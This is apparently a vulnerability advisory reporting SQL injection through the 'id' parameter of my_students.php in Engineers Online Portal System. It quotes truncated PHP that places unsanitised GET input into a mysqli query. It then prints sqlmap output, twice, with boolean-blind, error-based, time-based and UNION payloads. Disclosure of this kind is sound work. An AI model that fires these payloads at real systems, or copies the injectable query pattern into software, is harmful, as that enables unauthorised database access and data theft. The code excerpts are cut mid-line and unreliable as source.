

# Engineers Online Portal System my\_students.php has Sqlinjection

Engineers Online Portal System my\_students.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```
<?php include('header_admin.php'); ?>
<?php include('session.php'); ?>
<?php $get_id = $_GET['id']; ?>
<body>
    <?php include('navbar_teacher.php'); ?>
    <div class="container-fluid">
        <div class="row-fluid">
            <?php include('class_sidebar.php'); ?>
            <div class="span9" id="content">
                <div class="row-fluid">
                    <div id="block_bg" class="block">
                        <div class="navbar navbar-inner block-header">
                            <div id="" class="muted pull-right">
                                <?php
                                    $my_student = mysqli_query($conn,"SELECT * FROM teacher_class
                                                                    LEFT JOIN student ON student.student
                                                                    INNER JOIN class ON class.class_id =
```

```
ock-content collapse in">
="span12">
t="da-thumbs" class="da-thumbs">
    <?php
        $my_student = mysqli_query($conn,"SELECT * FROM teacher_class_student
        LEFT JOIN student ON student.student_id = teacher_class_student.student_id
        INNER JOIN class ON class.class_id = student.class_id where teacher_class_id = '$get_id' order by las
        while($row = mysqli_fetch_array($my_student)){
            $id = $row['teacher_class_student_id'];
            ?>
            <li id="del">?php echo $id; ?>
                <a href="#">
                    <img id="student_avatar_class" src ="admin/<?php echo $row['location'] ?>" width="124" height="14
                <div>
                <span>
                <p><?php ?></p>
```

```

sqlmap identified the following injection point(s) with a total of 193 HTTP(s) requests:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: id=1' RLIKE (SELECT (CASE WHEN (4157=4157) THEN 1 ELSE 0x28 END))-- dFvi

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b766a71,(SELECT (ELT(5131=5131,1))),0x716a767071),5131)-- nALT

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1' AND (SELECT 6939 FROM (SELECT(SLEEP(5)))Viza)-- kIXP

  Type: UNION query
  Title: MySQL UNION query (NULL) - 14 columns
  Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b766a71,0x595a6e5569686750554d565156774c507243666668565169654266616462646a554c585545524e56,0x716a767071),NULL,NULL,NULL,NULL,NULL,NULL,NULL#

```

## Sqlmap attack

sqlmap identified the following injection point(s) with a total of 193 HTTP(s) requests:

---

Parameter: id (GET)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: id=1' RLIKE (SELECT (CASE WHEN (4157=4157) THEN 1 ELSE 0x28 END))-- dFvi

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID\_SUBSET)

Payload: id=1' AND GTID\_SUBSET(CONCAT(0x716b766a71,(SELECT (ELT(5131=5131,1))),0x716a767071),5131)-- nALT

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1' AND (SELECT 6939 FROM (SELECT(SLEEP(5)))Viza)-- kIXP

Type: UNION query

Title: MySQL UNION query (NULL) - 14 columns

Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b766a71,0x595a6e5569686750554d565156774c507243666668565169654266616462646a554c585545524e56,0x716a767071),NULL,NULL,NULL,NULL,NULL,NULL,NULL#

---